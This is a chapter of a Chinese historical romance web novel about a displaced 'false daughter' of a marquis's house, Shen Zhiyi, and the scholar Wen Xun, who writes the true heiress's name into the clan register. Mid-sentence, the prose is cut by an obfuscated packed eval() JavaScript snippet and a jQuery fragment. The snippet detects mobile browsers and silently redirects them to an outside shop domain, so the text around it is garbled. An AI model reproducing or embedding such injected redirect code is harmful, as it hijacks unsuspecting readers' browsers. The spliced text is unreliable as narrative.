沈知颐疑惑地看向手中温珣硬塞过来的青色小瓷瓶,她捻起瓶盖放在鼻尖嗅了嗅,似乎是疗伤的药物。
她抬眸望向昏暗烛光下那道略显慌张,脚步凌乱的匆匆离去的背影,脑海里浮现出一个大大的疑问。
他什么意思?
说她有病,得治?
瞧着温珣出来的那处凉亭,显然是从西北角松桂园去往荣安堂的必经之路,若他知晓“祖母让他娶亲”,而对象是她——那个刚被发现是假千金,又被国公府退婚的沈知颐。
他会怎么想呢?
侯府于他有恩,即提供了住食,又推荐他去了京中炙手可热的鹿鸣书院读书,享受一流的师资。
拒绝,怕是扛不住祖母的手段。
接受,日后他们二人倒是能作对相敬如宾、互不干扰的夫妻。
又或者先隐忍下来,日后再寻门合乎心意的亲事?
只怪她以前慵懒惯了,也不曾去了解这个已入府许久的亲戚,难怪丫鬟们都说松桂园里住了位“俊俏书生”,那张脸属实是貌美。
夜色渐晚,天色完全暗了下来,沈知颐随着绿意去了新的院落——槐花园。
她绕着院子转了一圈,估计是前两日下过雨,地面湿漉漉的,就连青石板上的青苔还未清扫干净,两座假山景观上长满了杂草,墙角堆砌着一些杂物,院中有一颗老槐树。
踏入房内的瞬间一股冷香夹杂着潮湿味袭来,红缨放下撑着窗户的木栓,听到声音连忙朝着小厅跑去,见到沈知颐的瞬间便注意到了她的手腕,惊呼出声:“小姐,你的手……”
闻言,她低头看过去,借着屋内明亮的烛光才发现手腕处多了条深红色的划痕,想必是争执中不小心碰到了沈佑棠的八宝项链。
沈知颐目光落在绿意手中的瓷瓶上,瓶盖被打开,药膏涂抹在她的手上,传来阵阵凉意,就连空气中也弥漫着淡淡的药香味。
她没想到温珣竟能心细到发现了她手腕处的痕迹,更惊讶于他在凉亭后待了多久,又看到了多少?
方才她那威逼利用小人模样,可不是高门贵女所为。
可即便是重来一回,她还会那般做。
面对沈佑棠的挑衅,她若认输或后退,只会迎来她更惨烈的奚落与轻视,往后的日子怕是不得安宁。
成为沈家养女,从东南正院搬入东北边角院落,这身份与位置的变化,带来的绝不止随从仆役、待遇减少这一桩事,血脉的落差犹如天堑,将横在她与沈家人中间,成为不可逾越的鸿沟。
沈知颐心中清楚,终有一日她会离开威远侯府,然在那一日到来前,她必须做好万全准备去迎接那个不确定的未来。
唯一能依靠的只能是她自身。
从厨房回来的红樱,端着一碗凉透的银耳羹走了过来,眼里满是愤愤不平,“小姐,那群厨子个个都是市侩人,往常见到我恭维都来不及,而今要碗热的汤羹都不给,这还是我花了几个铜板才换来的。”
她把汤羹端到桌案上,眼眶微微泛红,又补充道:“更,更可恨的外头都传小姐受不了打击,得了病。”
沈知颐眉头微蹙,脑海里浮现出温珣那尴尬又为难的表情,能说出“好好养病”那几个字,真是难为他了。
她轻笑出声,双眸亮得可怕。
红缨与绿意对视一眼,同时浮现个想法:小姐真可怜,都落到这般地步,还要强颜欢笑。
翌日,沈老夫人身侧的刘嬷嬷让人带信——让她耐心等待。
听到这消息时,沈知颐并不意外,她如今声名狼藉,又被退了婚,就算是个寻常百姓议亲亦要思量一二,更何况是未来可期的温珣。
倒是她收为侯府养女记在夫人柳氏名下的事传开了,听到这消息的三姨娘在院子里闹了好一阵动静外,其他人倒默不作声了。
比起这些,最先来槐花园的是春桃,她来时手里带着不少相看的画册,有户部尚书,中郎将,还有工部侍郎的小儿子……
柳如眉的意思很明显,她必须在这群人里挑出一个嫁了。
国公府不能有一个被退婚待在家里的女儿。
随后而来的是侯府嫡长女乔玉娘……不,沈明珠的开祠登名宴,这亦是她回府后的第一场侯府家宴。
柳如眉极其重视这事,早早地安排了府里准备着,又让管家赵四亲自登门,火急火燎地请来了位在京中颐养天年的旁支族老开祠。
她又安排丫鬟,仆役们一大早敲响了沈家二房,三房的院门,就连沈知颐亦是没放过。
庆祥院的丫鬟到时,她还蜷缩在床上,被绿意二人从被窝里拉起时,依旧有心情打趣道:“满府的红绸倒像是是为嫡小姐准备的,婚宴改认亲宴,一点不浪费。”
最终,除了身体染疾的沈老夫人,以及上早朝的侯爷、外出公干的沈二爷外,其他人一个不落,一大早便出现在了祠堂门口。
众人见到沈知颐的那一刻,神色各异。任凭谁也想不到昨日里还风光无限的嫡亲大小姐,今日倒成了外人。
平日里不被宠爱的庶子庶女不想放过这个奚落的机会,正欲上前教训两句,只是人还没到跟前便就被前厅传来的声音拦住了。
众人寻着响声抬头看过去,便见着沈家长辈与诸位夫人携着沈明珠缓步而来,沈知颐微微屈膝,恭恭敬敬地喊着声“母亲”后,走向了女眷的最末端。
仪式开始,先是沈家三爷沈连墨领着众人敬香、叩拜祖宗,又安排沈明珠跪在蒲团之上三拜九叩,认祖归宗,最后由沈家族老净手焚香,取出泛黄的族谱。
然而,年长族老执笔的手却停住了,他两眼模糊地看着挤在一团的文字,感叹道:“老了,老了,竟连字也看不清。”
话音落地,众人皆是惊诧,乔玉娘更是心里咯噔一下。而柳如眉,一颗心提在了嗓子眼,脸上的着急愈发明显。
“听说温家那小子借宿在府里,就找他来替我登名吧。”他赶忙放下毛笔说道。
“这……这不妥。”柳如眉立马反对出声,倒是赵四极有眼力见地派小厮去把温少爷请了过来。
“老沈家靠力气发家,沈辉在时,便指望族中子弟摆脱父辈功勋,走科考之路,只是这事被你们当成了耳旁风。难得亲戚家里出了个会读书的温珣,由他着墨登名,你公公九泉下有感,也能安歇了,再者他若日后金榜题名,这事传出去亦是一段佳话。”沈族老出声劝慰着,见柳氏依旧不满,话音一转又说着:“在场的人,连墨年长,若不想误了吉时,那连墨来写。”
柳如眉脸色白了白,想起沈三爷以往那不着调的样子,连忙同意了温珣执笔代写。
沈知颐望着这出乎意料的一幕,见到柳氏极力护着沈明珠,费尽心思抬高她地位的场面,心里微微发酸。
她自知世间的事大多强求不来,她既占了沈明珠十六年的富贵生活,哪能贪心指望得到柳氏的爱。
可……心里那股情绪就是散不掉呀。
没一会儿,在两个随从的引领下,温珣推门而入,沈知颐的目光亦是随着众人看了过去,只见男人穿着一身素白衣衫,领口绣着几片细竹点缀,腰间系着深色绦带,乌黑的长发被墨色木簪束起,配上那绝世颜容,倒有几分清风霁月、仙人之姿。
她的目光直白又坦诚,尽管只持续了几秒,依旧被温珣敏锐地捕捉到了。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743899|209180||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下意识地抬头看去,见着沈知颐站在角落里的身影,比起那晚的华贵张扬的衣裙,今儿的蓝色襦裙倒是素雅许多,尽管未施粉黛却依旧掩盖不住眉眼间那抹绝色。
只轻轻一眼,温珣便挪开了视线,朝着祠堂前方走去,迎光而立站在了沈族老侧首处,微微拉开了些距离。
沈族老揉了揉眼,只觉得温家这小子白嫩,俊俏不少,又开口解释一番,请他代笔。
温珣面露犹豫后拱手推辞,最终架不住柳氏长辈的身份威压,答应了下来。
春桃端着水盆上前,温珣双手伸入盆中,冰凉的水逐渐满过他纤细修长的五指,没一会儿,又拿起托盘内的帕子细细擦拭着残留的水渍。
这简单的动作由温珣来做,硬生出一股举手投足尽显高贵的气质。
他翻开沈家族谱,很快便找到老侯爷沈辉这页,嫡子沈执笔的名字居于首位,再往下便是嫡长子沈庆松,庶子沈庆柏,庶女沈佑棠……
他不动声色地观察着沈家二房沈幸棋的家谱,嫡子沈庆余、庶子沈庆华、嫡女沈佑兰、庶女沈佑蓉。再往后便是沈家三房沈连墨,嫡女沈佑桃。奇怪的是,整个沈辉一脉,只有沈执笔名下单单列出嫡女一列,却没写名字。
温珣猛然意识到,尽管沈知颐曾贵为侯府嫡长女,却从未入过沈家族谱。
府里流行的那套“恶仆换主”,只怕是用来搪塞外人的说辞,起码老侯爷从一开始就知道沈知颐非沈家骨肉。
他又想起老夫人的提议:让他娶沈知颐。
这一趟来得值当,侯府当真有意思。
温珣的目光瞥了眼底下那打着哈欠,脸色慵懒的沈知颐后,嘴角勾起一抹几不可察的笑意。
他左手揽住宽大的袖袍,右手捻起毛笔,一笔一画,工整地在嫡女处写下来“沈明珠”三个字。
笔墨落定,便是入了族谱。
随着三声锣鼓声敲起,礼毕。
至此,世上再无任人欺辱乔玉娘,只有侯府嫡女沈明珠。
人影逐渐散去,众人簇拥着来到沈明珠面前,而她的目光则落在温珣身上。
温珣见状,淡淡出声恭贺:“苦尽甘来,明珠小姐日后必定前程似锦。”
沈明珠笑了笑,眼里噙着泪光,在众人的陪伴下,有说有笑地走去了荣喜堂。
唯独沈知颐放慢脚步,落在了最后。
不知何时,温珣悄悄走到了沈知颐身侧,见她眼眸颤抖地望着前头相拥而伴的母女俩,贴心地递上一方素净手帕,声音轻缓:“想哭便哭吧,莫压在心底。”
闻言,沈知颐转过头来,乌黑的双眸里瞳孔微震,惊讶于他来得悄无声息。她没接过手帕,只是轻轻摇头,“我没哭。”
不过是心头空落落的,她竟是第一次瞧见柳如眉眼中那样温软的眸光。
“嗯,没哭。”温珣脸上带着浅浅的笑,托着素帕的手迟迟未落下,又斟酌两秒后开口:“不是你的错,难过不必忍着,别为了些小事耗费心神。”
不是她的错……不必忍着……
这几日听到最多的便是她占了沈明珠的富贵生活,害得夫人与嫡亲小姐分别十六年。
沈知颐眼眶倏地一热,眸中霎时盈满了水光。她抬起微红的眼,里头深藏的委屈再也掩不住,豆大的泪珠一颗接一颗,无声地滚落。
温珣呼吸一滞,头一回见她落泪,竟一时手足无措了起来,只匆忙用帕子去拭她脸上的泪痕,声音里带了些懊悔,“是某失言了……表妹,只要你别哭,某答应你一件事,可好?”
沈知颐透过朦胧的泪眼望向他,声音很轻,却字字清晰:
“那你娶我吧。